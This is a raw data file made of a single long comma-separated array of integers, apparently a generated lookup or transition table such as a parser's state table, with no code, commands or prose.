660,3661,541,541,563,563,3664,3665,563,563,563,563,1423,563,563,1430,563,563,563,563,563,563,563,563,2631,563,563,563,563,563,563,563,587,587,3668,3669,587,587,0,0,0,0,541,541,541,541,563,563,563,924,928,931,563,939,563,563,563,954,956,959,0,0,690,691,0,0,0,0,696,0,0,0,365,365,365,0,0,0,0,0,1185,0,0,0,0,0,0,0,0,0,0,0,3180,0,0,0,0,0,0,829,0,0,0,0,0,0,0,0,0,758,0,0,0,0,0,0,758,0,0,0,0,0,758,758,910,541,563,563,563,563,927,563,563,563,563,563,563,563,563,563,1432,563,563,1436,563,563,563,983,0,587,587,587,587,1057,78115,1079,0,0,0,0,0,0,0,0,1220,0,0,0,0,0,0,0,0,0,282624,282624,282624,282624,282624,282624,282624,282624,587,1521,587,587,587,587,587,587,587,587,587,587,587,587,587,587,1514,587,0,0,0,1721,0,0,0,0,0,0,0,0,0,0,0,0,1193,0,0,0,0,2040,0,0,0,0,0,0,0,0,0,0,0,0,0,0,749,0,2171,541,541,541,541,541,541,541,541,541,541,541,541,541,541,541,2211,3288,541,3290,563,3292,587,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3514,468,468,468,486,494,494,486,494,494,494,494,494,494,494,494,519,527,527,527,527,527,527,527,527,527,527,527,527,527,527,527,536,527,527,527,527,527,549,572,549,572,549,549,572,549,596,572,572,572,572,572,572,572,596,596,596,549,596,596,596,596,596,596,596,596,572,572,549,572,596,572,596,1,795,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1652,0,818,0,0,0,795,0,0,818,0,0,0,0,0,818,818,0,0,0,0,795,0,0,0,0,0,0,836,791,0,0,836,857,541,865,541,541,541,541,541,541,541,541,541,541,541,541,541,541,3527,563,911,541,563,563,563,563,563,930,563,938,563,563,563,563,563,563,1850,563,563,563,563,563,563,563,563,563,0,587,587,587,587,587,587,587,1012,587,587,587,587,587,587,587,587,587,587,587,587,587,1058,984,0,587,587,587,1077,1058,78115,1079,0,0,0,0,0,0,0,0,1243,0,0,0,0,0,0,0,0,1259,0,0,0,1263,0,0,0,0,0,0,0,1139,1140,0,0,0,0,0,365,365,0,0,0,0,0,0,1113,0,0,0,0,0,0,0,0,0,0,2071,0,0,0,0,0,1180,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1705,1340,541,541,1344,541,541,541,541,541,1350,541,541,541,1357,541,541,541,541,541,1812,541,541,541,541,541,541,541,541,541,1360,1403,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2638,563,563,1442,563,563,563,1449,563,563,26028,1360,988,587,587,587,587,587,587,3272,587,587,587,587,587,587,587,587,3278,587,587,1487,587,587,587,587,587,587,587,1495,587,587,587,587,587,587,2365,587,587,587,587,587,587,587,587,587,2691,587,587,587,587,587,587,587,587,587,1524,587,587,1528,587,587,587,587,587,1534,587,587,587,587,587,1492,587,587,587,587,587,587,587,587,587,587,1510,587,587,587,587,587,1541,587,587,0,541,587,563,541,541,541,541,541,563,563,563,563,563,3476,563,563,563,3480,563,563,563,563,563,563,2863,563,563,2867,563,563,563,563,563,563,1409,563,563,1413,563,563,563,563,563,563,1448,563,563,26028,1360,988,587,587,587,587,0,0,0,1595,0,0,0,0,0,0,0,0,0,0,0,0,1223,0,0,0,0,0,1655,0,0,0,0,0,0,0,0,0,1664,0,0,0,0,0,0,1126,0,0,0,1130,1131,0,0,0,0,0,0,0,2818048,2846720,0,2916352,0,0,3002368,0,0,1718,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2053,1702,0,0,0,0,0,541,541,541,541,541,541,541,541,541,541,3326,541,541,541,563,563,563,1893,563,563,563,563,563,563,1901,563,563,563,563,563,563,2887,563,563,563,2890,563,2892,563,563,563,587,1944,587,587,587,587,587,587,587,587,587,587,587,587,587,587,1940,587,587,1974,587,587,587,587,1980,587,587,587,587,587,587,587,587,1989,2007,2009,587,587,587,587,587,541,587,563,541,541,541,541,563,563,563,563,587,587,587,587,2030,0,2032,0,0,2079,0,0,0,2082,0,0,0,0,0,2088,0,0,0,0,0,0,1141,0,1143,0,0,365,365,0,0,0,0,0,0,1154,0,0,0,0,0,1160,0,1162,0,2104,0,0,0,0,0,0,0,0,0,0,0,0,0,2115,0,0,0,0,0,1192,0,0,0,0,0,0,0,0,0,0,0,176128,176128,176128,176128,176128,176128,176128,0,0,563,563,563,563,563,563,2250,563,563,563,563,563,563,563,1851,563,563,563,563,1855,563,563,563,587,587,587,587,2349,587,587,587,587,587,587,587,587,587,587,587,1985,587,587,1988,587,2262,541,541,541,541,563,563,563,563,587,587,587,587,0,0,0,0,0,2732,0,2450,0,0,0,0,0,0,0,0,2455,0,0,2458,0,0,0,0,0,0,2134016,0,0,0,0,0,0,57344,0,0,0,0,0,0,2748,0,0,0,0,0,0,0,0,0,0,192972,192972,192972,192972,192972,192972,192972,0,0,0,0,2462,0,0,0,0,0,0,0,0,0,0,0,541,541,541,2809,541,2473,0,0,0,0,0,0,0,2481,0,0,0,2483,0,0,0,0,0,0,1170,0,0,0,0,0,0,0,0,0,0,2989,0,0,0,0,0,0,2500,0,0,0,0,0,0,0,0,0,0,2510,0,0,0,0,0,0,1186,0,0,0,1191,0,0,0,0,1107,0,0,0,0,0,0,0,0,0,0,0,758,0,0,0,0,0,0,0,2524,541,541,541,541,541,541,541,541,541,541,541,541,541,541,541,2536,541,541,2552,541,541,541,541,541,541,541,541,541,541,541,541,541,905,541,541,2564,541,541,541,541,541,541,2571,541,541,541,541,541,541,541,541,541,1768,541,541,541,541,541,541,541,2578,541,541,541,2581,541,541,541,541,541,541,541,0,0,0,0,0,0,1203,0,0,0,0,0,0,0,0,0,0,813,0,0,0,0,0,0,0,0,563,2588,563,563,563,563,563,563,563,563,563,563,563,1903,1904,563,563,563,2611,563,563,563,563,563,563,2616,563,563,563,563,563,563,563,2622,587,587,587,587,2702,587,587,587,587,587,587,587,587,587,587,2710,587,587,587,2713,587,587,587,587,587,587,587,2718,2719,2720,541,541,541,541,541,2177,541,541,541,541,541,541,541,541,541,541,541,541,2845,541,541,541,2758,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2103,0,2773,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1120,0,0,0,2789,0,0,0,0,2794,0,0,0,2796,0,0,0,0,0,0,0,69632,73728,316,317,317,422,423,65536,430,541,541,541,541,2814,541,541,541,541,541,541,541,541,541,541,541,541,1333,541,541,541,541,541,2848,541,541,541,541,541,541,0,0,563,563,563,2856,563,0,587,587,1047,587,587,78115,1079,0,0,0,0,0,0,0,0,1159168,365,0,0,0,0,0,0,563,563,563,563,2861,563,563,563,563,563,563,563,563,563,563,563,2294,563,563,563,563,563,563,563,563,2897,563,563,563,563,563,563,0,0,587,587,587,587,587,587,587,2338,587,587,587,587,587,587,587,3122,587,587,587,587,587,587,587,587,1036,587,587,587,587,1054,587,587,2905,587,587,587,587,587,2910,587,587,587,587,587,587,587,587,587,1935,587,587,587,587,1941,587,3006,0,0,0,0,3010,0,0,0,0,3015,0,0,0,0,0,0,0,2749,0,0,0,0,0,0,0,0,0,697,698,0,365,365,365,0,3191,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2145,3300,0,0,0,0,0,0,0,0,0,0,3180,0,0,0,0,0,0,0,69632,73728,163840,0,0,0,0,65536,0,563,563,563,3340,563,563,563,563,563,563,563,563,563,563,563,563,2283,563,563,563,563,563,563,3351,563,563,563,563,563,563,587,587,587,587,587,587,587,587,587,587,587,587,587,3359,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,1942,3370,587,587,587,587,587,587,541,541,563,563,587,587,0,0,0,0,3297,0,0,0,0,0,0,0,0,0,3394,0,541,541,541,541,541,541,541,541,541,541,541,541,3211,541,541,3486,587,587,587,587,587,587,587,587,3495,587,3497,3498,587,3500,587,0,0,0,541,587,563,541,541,541,904,541,563,563,563,977,3502,0,0,0,0,0,0,0,0,0,0,0,0,0,0,541,541,541,854,541,541,3612,541,3613,541,541,541,563,563,563,563,563,563,3619,563,0,996,1075,1041,587,587,78115,1079,0,0,1081,1085,0,0,1089,3620,563,563,563,563,587,587,587,587,587,587,3627,587,3628,587,587,0,3603,0,0,0,0,0,0,0,0,541,541,3610,541,563,563,587,587,587,587,0,0,541,541,563,563,587,587,3683,3684,3685,3686,0,541,563,587,0,541,563,587,0,541,563,587,0,0,0,0,0,0,0,0,3180,0,0,0,0,0,0,0,550,597,573,573,573,573,573,573,573,597,597,597,550,597,597,597,597,597,597,597,597,573,573,550,573,597,573,597,1,0,0,0,737,0,0,0,0,0,0,0,0,0,0,0,0,1237,0,0,0,0,0,2041,0,0,0,0,0,0,0,0,0,0,0,0,0,1194,1196,0,403,0,0,0,0,381,0,69632,73728,0,0,0,0,426,65536,0,0,0,0,0,1202,0,0,0,0,0,0,0,0,0,0,0,2444,2445,0,0,2448,426,426,0,0,426,0,446,426,426,469,469,469,476,469,469,469,469,469,469,469,469,469,476,469,469,469,469,469,469,469,469,483,469,495,495,469,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,538,551,574,551,574,551,551,574,551,598,574,574,574,574,574,574,574,598,598,598,551,598,598,598,598,598,598,598,598,574,574,551,574,598,574,598,1,0,0,0,0,660,661,0,0,0,0,0,0,0,0,0,0,0,3001,0,0,0,0,0,0,0,0,661,0,0,0,0,0,0,0,0,0,0,0,661,0,0,0,0,0,827,0,0,0,661,0,0,0,0,0,0,0,0,0,0,0,3176,0,0,0,0,0,0,0,729,0,742,661,0,0,0,0,0,541,844,541,541,541,541,541,2191,541,541,541,541,541,541,2197,541,2199,541,541,859,541,541,541,541,541,541,541,541,541,541,897,541,541,541,541,541,541,2817,541,2819,541,541,541,541,541,541,541,541,2572,541,541,541,541,541,541,541,541,1349,541,541,541,541,541,541,541,541,1752,541,541,541,541,541,541,541,541,1767,541,541,541,541,541,541,541,541,1782,541,541,541,541,541,541,541,541,1815,1817,541,541,541,541,541,1360,563,563,563,970,563,563,563,563,563,0,587,587,990,587,587,587,587,587,1526,587,587,587,587,587,587,587,587,587,587,1953,587,587,587,587,587,1006,587,587,587,587,587,587,587,587,587,587,1044,587,587,587,587,587,587,3285,587,587,587,587,587,587,541,587,563,1094,0,0,0,0,0,0,0,0,0,1101,1102,0,0,0,0,0,0,0,69632,73728,167936,0,0,0,0,65536,0,0,0,0,1229,0,0,0,0,0,0,0,0,0,0,0,0,1247,0,0,0,0,0,0,0,1102,0,0,0,0,1260,1261,0,0,1101,0,0,0,0,0,0,2134756,0,0,0,0,0,0,0,0,0,0,1116,0,0,0,0,0,541,1306,541,541,541,541,541,541,541,541,541,541,541,541,541,541,0,2241,1360,914,563,1363,563,563,563,563,563,563,563,563,563,563,563,1377,1384,563,563,563,563,563,563,563,563,563,1398,563,563,563,563,563,563,3079,563,563,563,563,563,563,563,563,563,0,587,587,989,587,587,587,1418,563,563,563,563,563,563,563,1431,563,563,563,563,563,563,563,1897,563,563,563,563,563,563,563,563,1395,563,563,563,563,563,563,563,587,587,1523,587,587,587,587,587,587,587,587,587,587,587,1537,587,0,0,0,541,587,563,541,541,541,1067,911,563,563,563,1072,563,587,587,1523,587,587,1079,0,0,0,0,0,0,0,0,0,0,2781,0,0,0,0,0,541,541,541,1746,1747,541,541,541,541,1754,541,541,541,541,541,541,541,1290,541,1295,541,541,1299,541,541,1302,541,541,541,541,1795,541,541,541,541,541,541,541,541,541,541,541,541,1335,541,541,541,1825,563,563,563,563,563,563,563,563,563,563,563,563,563,563,1841,1842,563,563,563,563,1849,563,563,563,563,563,563,563,563,563,563,3347,563,563,563,563,3348,1890,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2649,587,1945,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2372,587,587,1959,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2384,2385,587,587,587,587,2012,587,587,541,587,563,541,541,541,541,563,563,587,587,2961,0,0,2964,2965,0,0,0,0,0,0,0,2505,0,0,0,0,0,0,0,0,0,387,0,0,0,0,0,387,0,0,0,2054,0,2055,0,0,0,0,0,0,0,0,0,2064,541,541,541,541,2216,541,541,541,541,541,541,2221,541,541,541,541,541,541,1285,1292,541,541,541,541,541,541,541,541,541,1800,541,541,541,1805,541,541,541,2226,541,541,541,541,541,541,541,541,541,541,541,541,0,0,563,563,563,563,563,563,563,563,2302,563,563,563,563,563,563,2307,563,563,563,563,563,563,3080,563,563,563,563,563,563,563,563,563,1883,563,563,563,563,563,563,563,2313,563,563,563,563,563,563,563,563,563,563,563,563,0,0,587,587,587,587,587,587,2389,587,587,587,587,587,587,2394,587,587,587,587,587,587,2377,587,587,587,587,587,587,587,587,587,1952,587,587,587,587,1956,587,587,2400,587,587,587,587,587,587,587,587,587,587,587,587,541,587,0,0,0,541,587,563,541,541,895,541,541,563,563,968,563,0,587,587,587,587,587,78115,1079,0,0,1082,1086,0,0,1090,0,2437,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1178,0,587,2671,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2931,587,0,0,0,2736,0,0,0,0,0,0,0,0,0,0,0,0,1588,1589,0,0,2787,0,0,0,0,0,0,0,0,0,0,0,2797,0,0,0,0,0,0,1204,0,0,0,0,0,0,0,0,0,0,1631,0,0,0,0,0,541,541,541,2813,541,541,541,541,541,541,2821,541,541,541,541,541,541,541,2555,541,541,541,541,541,541,541,2562,563,563,563,2860,563,563,563,563,563,563,2868,563,563,563,563,563,563,3094,563,563,3096,563,563,563,563,563,563,1880,1881,1882,563,563,1885,1886,563,563,563,0,0,3008,0,0,0,0,0,0,0,0,0,0,0,0,0,1197,0,0,541,541,3227,541,541,541,541,541,541,563,563,563,563,563,563,563,3073,563,563,563,3571,541,3573,541,541,541,563,563,563,563,563,563,563,3583,563,3585,0,0,0,0,541,3659,541,541,541,541,563,3663,563,563,563,563,563,1878,563,563,563,563,1884,563,563,563,563,563,563,2864,563,2866,563,563,563,563,563,563,563,3354,563,563,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,1057,587,3667,587,587,587,587,0,0,0,0,541,541,541,541,563,563,915,563,563,563,563,563,563,946,563,563,563,563,563,1427,563,563,563,563,563,563,563,563,563,563,3535,563,563,563,563,563,563,587,587,587,587,3112,587,587,587,587,3116,470,470,470,470,454,454,470,454,454,454,454,454,454,454,454,520,520,520,520,520,520,520,520,520,520,520,520,520,520,520,520,552,575,552,575,552,552,575,552,599,575,575,575,575,575,575,575,599,599,599,552,599,599,599,599,599,599,599,599,575,575,552,575,599,575,599,1,541,860,541,541,874,541,541,541,541,541,541,541,541,541,541,541,541,1770,541,541,541,1007,587,587,1021,587,587,587,587,587,587,587,587,587,587,587,587,1971,587,587,587,0,1123,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1184,1184,1251,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2156,0,0,0,1268,0,0,0,0,0,0,541,541,541,541,541,541,541,541,541,541,541,541,541,541,541,1360,541,541,541,1323,541,541,541,541,541,541,541,541,541,541,541,541,541,2534,541,541,541,1341,541,541,541,541,541,1348,541,541,541,541,541,541,541,541,541,2234,541,541,541,541,0,0,1440,563,563,563,563,563,563,563,563,26028,1360,988,587,587,587,587,587,587,3365,587,587,587,587,587,587,587,587,587,2936,587,587,587,2939,587,2941,587,587,587,587,587,1525,587,587,587,587,587,1532,587,587,587,587,587,587,2392,587,587,587,587,587,587,587,587,587,1472,587,587,587,587,1482,587,563,587,587,587,1557,587,1079,0,1561,0,0,0,1567,0,0,0,0,0,0,1218,1219,0,0,0,0,0,0,0,0,0,1235,0,0,0,0,0,0,1573,0,0,0,1579,0,0,0,0,0,0,0,0,0,0,0,662,0,0,0,0,0,0,0,0,0,0,0,541,541,541,1779,541,541,541,541,541,541,541,541,541,541,541,541,541,2548,541,541,563,1843,563,563,563,563,563,563,563,563,563,1854,563,563,563,563,563,1879,563,563,563,563,563,563,563,563,563,563,3344,563,563,563,563,563,563,563,563,1865,563,563,563,563,563,563,563,2065,2066,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1210,0,2117,0,0,2120,2121,0,0,0,0,0,2127,0,0,0,0,0,0,0,2765,0,0,0,0,0,0,0,0,0,550,573,550,573,550,550,573,541,2213,541,541,541,541,2218,541,541,541,541,541,541,541,541,541,541,2182,541,541,541,541,541,2299,563,563,563,563,2304,563,563,563,563,563,563,563,563,563,563,1917,563,26028,0,587,587,587,2386,587,587,587,587,2391,587,587,587,587,587,587,587,587,587,587,2001,587,587,587,587,587,2006,541,541,541,3037,541,541,541,541,541,541,541,541,541,541,541,541,541,2846,541,541,563,563,3077,563,563,563,563,563,563,563,563,563,563,563,563,563,1887,1888,563,587,587,587,3119,587,587,587,587,587,587,587,587,587,587,587,587,1986,587,587,587,563,563,3247,563,563,563,563,563,563,563,563,563,563,563,563,563,2296,563,563,587,0,0,0,3445,0,0,0,0,3180,0,0,0,0,0,0,0,1242,0,0,0,0,0,0,0,0,0,380,0,0,0,0,0,0,0,0,541,541,541,541,3460,541,541,541,541,541,541,541,541,541,541,2207,541,541,541,541,541,563,587,587,587,587,3491,587,587,587,587,587,587,587,587,587,587,2354,587,587,587,587,587,587,563,563,563,563,3623,587,587,587,587,587,587,587,587,587,587,587,2395,587,587,587,587,587,3631,0,0,0,0,0,0,541,541,541,541,541,541,541,563,563,920,563,563,563,563,563,563,949,951,563,563,563,563,563,3421,563,563,563,3425,563,587,587,587,587,587,587,587,587,587,587,587,587,587,587,3501,388,390,340,0,0,0,0,0,0,339,0,0,340,0,0,0,0,0,0,1598,0,0,0,0,0,0,0,0,1604,0,0,0,387,0,0,0,69632,73728,0,0,0,0,0,65536,0,0,0,0,0,1217,0,0,0,0,0,0,0,1224,0,0,0,0,0,347,0,0,0,0,0,0,0,0,0,0,0,3316,0,0,0,0,0,0,435,339,0,0,447,0,0,471,471,471,471,471,471,471,471,471,553,576,553,576,553,553,576,471,482,471,471,471,500,477,500,500,500,500,500,500,500,500,471,471,477,471,471,471,471,471,471,471,471,471,471,471,481,481,471,482,471,471,553,600,576,576,576,576,576,576,576,600,600,600,553,600,600,600,600,600,600,600,600,576,576,553,576,600,576,600,1,0,0,750,0,0,0,0,0,0,0,0,0,0,0,0,0,1603,0,0,0,0,0,0,663,0,788,0,0,0,0,0,0,0,792,0,0,0,0,0,1231,0,0,0,0,0,0,0,0,0,0,0,2153,0,0,0,0,0,0,0,801,0,0,0,0,0,809,0,0,0,0,706,0,0,0,0,0,0,0,0,715,0,717,0,828,0,0,0,663,831,0,788,0,0,0,0,0,837,0,0,0,0,0,1597,0,0,0,577536,0,0,1602,0,0,0,0,0,0,1257,0,0,0,0,0,0,0,0,0,0,2508,0,0,0,0,0,541,861,541,541,875,541,541,541,541,888,541,541,541,541,906,541,541,541,541,541,3519,541,541,541,541,541,541,541,541,563,563,563,923,563,929,563,563,942,563,563,953,563,958,961,563,563,563,563,979,563,563,563,0,587,587,991,587,587,587,587,587,1962,587,587,587,587,587,587,587,587,587,587,3287,587,587,587,541,587,563,1008,587,587,1022,587,587,587,587,1035,587,587,587,587,1053,587,587,587,587,587,2945,587,587,2948,587,587,2951,587,2952,2953,2954,0,0,0,0,1216,0,0,0,0,1221,0,0,0,0,0,0,0,1258,0,0,0,0,0,0,0,0,0,365,299,0,0,0,0,0,0,1144,0,0,1256,0,0,0,0,0,0,0,0,1235,0,0,0,0,0,0,2891776,0,0,0,0,0,2392064,2412544,0,0,0,0,0,0,2123,0,0,0,0,0,0,0,0,0,0,2727936,0,0,0,3084288,0,0,0,1267,0,0,0,0,0,0,0,541,541,541,541,541,541,541,541,541,1741,541,541,541,1309,541,541,541,541,541,541,541,541,541,541,541,541,541,3045,541,3047,563,587,587,1556,587,587,1079,0,0,0,0,0,0,0,0,0,0,3e3,0,0,0,0,0,1621,0,0,1624,0,1626,0,0,0,0,0,0,0,0,0,0,0,3198,3199,0,0,0,0,0,0,0,1722,0,0,0,0,0,0,0,0,0,0,0,683,684,685,0,0,541,541,541,541,1780,541,541,541,541,541,541,541,541,541,541,541,541,1820,541,541,1360,0,563,563,563,563,563,563,563,563,563,563,1836,563,563,563,563,563,2263,563,563,563,563,563,563,563,563,563,563,1433,563,563,563,563,563,1875,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2872,1943,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2359,0,0,2135,0,0,0,0,0,0,0,0,0,0,0,0,0,1618,0,0,2146,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2484,0,0,0,0,541,541,541,2163,2164,541,541,541,541,541,541,541,541,2180,541,541,541,541,2185,541,541,541,541,541,2228,541,541,541,541,541,541,541,541,541,541,0,0,563,563,563,563,2857,0,0,563,563,563,2247,563,2249,563,563,563,563,563,563,563,563,2320,563,563,563,563,563,0,0,563,563,563,2315,563,563,563,563,563,563,563,563,563,563,0,0,988,587,587,587,587,0,0,587,587,587,2334,587,2336,587,587,587,587,587,587,587,587,1965,1966,1968,587,587,587,587,587,587,587,587,2402,587,587,587,587,587,587,587,587,587,587,541,587,0,0,0,541,587,563,541,541,897,541,541,563,563,970,563,0,997,587,1076,1048,587,78115,1079,0,0,0,0,0,0,0,0,458,1147355,1147355,1147355,1147355,1147355,1147355,1147355,1147355,1147355,1147355,1147355,1147355,1147355,1147355,1147355,1147355,0,0,2438,0,0,0,0,0,0,2443,0,0,0,2446,2447,0,0,0,0,0,1610,0,0,1613,0,0,0,0,0,0,0,0,1584,0,0,0,0,0,0,0,0,1683,0,0,0,0,0,0,0,0,334,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1134,0,0,0,0,2487,0,0,0,0,0,0,0,0,0,0,0,2498,0,0,0,2515,0,0,0,0,0,0,0,0,0,2523,0,541,541,541,541,541,3576,563,563,563,3580,563,563,563,563,563,563,2290,563,563,563,563,563,563,563,563,563,1899,563,563,563,563,563,1906,2537,2538,541,541,541,541,541,2543,541,2545,541,541,541,541,2549,541,541,541,541,541,3614,3615,541,563,563,563,563,563,563,563,563,3424,563,563,587,587,587,587,587,563,563,2598,563,563,2601,2602,563,563,563,563,563,2607,563,2609,563,0,999,1039,587,1050,587,78115,1079,0,0,0,0,0,0,0,0,3184,0,0,0,0,0,0,0,0,2750,0,0,0,0,0,0,0,0,0,2732032,0,0,0,0,0,0,563,563,563,2613,563,563,563,563,563,563,563,563,2619,563,563,563,563,563,3624,587,587,587,587,587,587,587,587,587,587,1967,587,587,587,1972,587,587,563,2639,563,563,563,563,563,563,563,563,563,563,563,563,563,563,1402,563,587,587,587,2673,587,2675,587,587,587,587,2679,587,587,587,587,587,587,2676,587,587,587,587,587,587,587,587,587,1469,1476,587,587,587,587,587,587,587,587,2685,587,587,587,587,587,587,587,587,2693,587,587,587,587,587,1979,587,587,587,587,587,587,587,587,587,587,2926,2927,587,587,587,587,2930,587,587,587,587,587,2701,587,587,587,587,2705,587,587,587,587,587,587,587,2378,2379,587,587,587,587,587,587,587,2406,587,587,2409,2410,587,587,2176,2348,0,2745,0,0,0,0,0,0,0,2751,2752,2753,0,0,0,0,0,0,0,69632,73728,172032,0,0,0,0,65536,0,2772,0,2774,0,0,0,0,2778,0,0,0,0,2783,0,0,2786,541,541,2828,541,541,541,541,541,541,541,541,541,541,541,541,541,1771,541,541,541,541,541,2838,541,541,541,541,541,541,541,541,541,541,541,541,541,3337,563,563,541,2847,541,541,2850,541,541,2853,541,0,0,2854,563,563,563,563,563,2277,563,563,2280,563,563,563,563,563,563,563,3081,563,563,563,563,563,563,563,563,3355,563,587,587,587,587,587,587,563,563,2875,563,563,563,563,563,563,563,563,563,563,563,563,563,2324,0,0,563,563,563,563,2886,563,563,563,563,563,563,563,563,563,563,563,2606,563,2608,563,563,563,563,563,2896,563,563,2899,563,563,2902,563,0,0,2903,587,587,587,587,587,3284,587,587,587,587,587,587,587,541,587,563,541,541,563,563,587,587,587,2921,587,587,2924,587,587,587,587,587,587,587,587,587,587,587,2666,587,587,587,587,0,0,0,0,0,2972,2973,0,0,0,0,2978,0,0,0,0,0,0,0,69632,73728,221184,0,0,0,0,65536,0,3021,0,0,3023,0,0,541,541,3028,541,541,541,541,541,541,541,541,2205,2206,541,541,541,541,541,541,0,0,3160,0,3162,0,0,0,3166,0,0,0,0,0,0,0,0,2518,0,0,0,0,0,0,541,541,541,541,3030,541,541,541,541,3034,3234,3235,563,563,563,563,3239,3240,563,563,563,563,563,3244,563,563,563,563,1445,563,563,563,563,26028,1360,988,587,1455,587,587,0,3632,0,0,0,0,541,541,541,541,541,3641,541,563,563,563,563,587,587,587,587,587,587,587,3263,3264,587,587,587,587,587,587,3435,587,587,587,587,587,587,587,541,563,3268,3269,587,587,587,587,587,3273,587,587,587,587,587,587,587,587,2393,587,587,587,587,587,587,587,3279,587,587,587,587,587,587,587,587,587,587,587,587,541,587,563,2721,541,0,0,0,3312,0,0,0,0,0,0,0,0,0,0,0,0,1633,0,0,0,541,3404,541,541,541,541,541,541,563,563,563,563,563,563,563,563,563,563,563,563,563,563,3419,563,563,563,563,563,563,563,587,587,587,587,587,3113,587,587,587,587,587,0,3443,0,0,3446,0,0,0,3180,0,0,0,0,0,0,0,1583,0,1585,0,0,0,0,0,0,0,1106,0,0,0,0,0,0,0,0,0,756,0,0,0,0,0,0,0,0,541,541,3458,541,541,541,541,3463,541,541,541,541,3468,541,541,541,541,872,541,541,541,541,541,541,541,541,541,541,541,541,1316,541,541,541,563,587,587,3489,587,587,587,587,3494,587,587,587,587,3499,587,587,587,587,587,3364,587,587,587,587,587,587,587,587,587,587,2664,587,587,2667,2668,587,587,563,563,3645,3646,563,563,563,587,587,587,3651,3652,587,587,587,0,541,587,563,541,541,541,541,541,563,563,563,563,587,587,587,587,0,0,0,2730,0,0,563,587,0,541,563,587,3691,3692,3693,3694,0,541,563,587,0,0,0,0,0,0,0,0,3180,0,0,0,0,0,3453,342,343,344,345,346,0,0,0,0,0,0,0,0,0,0,0,713,0,0,0,0,0,0,0,391,0,0,0,0,0,0,0,0,0,0,0,0,1674,0,0,0,345,345,0,346,345,0,344,345,455,472,472,472,472,472,472,472,472,472,472,472,472,472,472,472,472,472,472,472,487,496,496,504,496,506,496,496,506,506,496,506,521,521,521,521,521,521,521,521,521,521,521,521,521,521,521,521,554,577,554,577,554,554,577,554,601,577,577,577,577,577,577,577,601,601,601,554,601,601,601,601,601,601,601,601,577,577,554,577,601,577,601,1,656,657,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1590,1591,672,673,0,675,676,0,0,0,0,0,682,0,0,0,0,0,0,0,2804,0,0,0,541,2808,541,541,541,0,0,0,0,692,0,0,0,0,0,0,699,365,365,365,0,0,0,0,0,1658,0,0,0,0,0,0,0,0,0,0,0,3180,0,0,0,3308,0,719,0,721,0,723,0,0,0,0,0,0,0,0,0,733,0,0,0,0,646,752,753,754,0,0,0,0,0,760,761,0,0,0,0,0,1680,0,0,0,0,0,0,0,0,0,0,0,3180,0,3306,0,0,763,764,675,0,0,0,0,0,0,0,0,0,0,779,780,0,0,0,0,0,1696,1697,1698,1699,0,0,0,0,0,0,0,0,755,0,0,0,0,0,0,0,0,772,0,0,0,0,0,0,0,0,782,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1601,0,0,761,0,0,787,0,0,0,0,0,0,0,0,0,794,675,723,0,692,811,0,0,0,0,761,0,0,0,0,0,0,0,1591,0,0,0,0,0,0,0,0,0,1662,0,0,0,0,0,0,0,0,754,820,821,0,0,0,0,0,0,754,0,0,825,699,0,0,0,830,0,0,0,832,0,0,0,692,699,0,0,692,830,830,0,0,0,0,0,0,0,0,0,692,541,541,851,855,858,541,866,541,541,541,881,883,886,541,541,541,898,902,541,541,541,541,541,2541,541,541,541,541,541,541,541,541,541,541,541,541,3044,541,541,541,563,563,563,971,975,563,563,563,563,0,587,587,587,998,1002,1005,587,1013,587,587,587,1028,1030,1033,587,587,587,1045,1049,587,587,587,587,587,1995,587,587,587,587,587,2002,587,587,587,587,587,587,2946,587,587,587,587,587,587,541,587,563,1073,0,998,587,1045,1049,1078,78115,1079,0,0,0,0,0,0,0,0,2779,0,0,0,0,0,0,0,0,303,303,303,303,0,303,303,303,0,0,0,0,1168,0,0,0,0,0,0,0,0,0,0,0,729,0,0,0,0,0,0,1199,0,0,0,0,0,0,0,0,0,0,1209,0,0,0,0,0,0,2912256,0,3207168,2465792,0,0,2719744,0,0,0,0,0,0,541,541,541,3397,541,541,541,541,3401,541,0,0,1214,0,0,0,0,0,0,0,0,0,0,0,0,0,1634,0,0,0,0,1254,0,0,0,0,0,0,0,0,0,0,0,0,0,1665,0,0,1321,541,541,541,541,541,541,541,541,541,541,1331,541,541,1338,541,541,541,541,873,541,541,541,541,541,541,541,541,541,541,541,541,1332,541,541,541,563,563,1443,563,563,563,563,563,563,26028,1360,988,587,587,587,587,587,587,3548,587,3550,587,587,3552,587,587,0,0,0,0,0,0,541,541,541,3639,3640,541,541,563,1501,587,587,1505,587,587,587,587,587,587,587,587,587,587,1515,587,0,0,0,541,587,563,541,541,899,541,541,563,563,972,563,0,1074,587,587,1052,587,78115,1079,0,0,0,0,0,0,0,0,2445312,0,2842624,0,0,0,2637824,0,587,1522,587,587,587,587,587,587,587,587,587,587,1535,587,587,587,587,587,2013,587,541,587,563,541,541,541,541,563,563,563,563,587,587,587,587,0,0,0,0,0,0,1666,0,1668,0,0,0,1670,0,748,0,0,0,0,0,0,0,0,3174,0,0,0,0,0,0,0,0,791,0,0,0,0,0,0,0,0,833,0,0,0,0,0,0,808,0,0,1693,0,0,0,0,0,0,1700,0,0,0,0,0,0,0,1660,1661,0,0,0,0,0,0,0,0,710,0,0,0,0,0,0,0,0,726,0,0,0,0,0,0,0,0,0,274432,274432,274432,0,274432,274432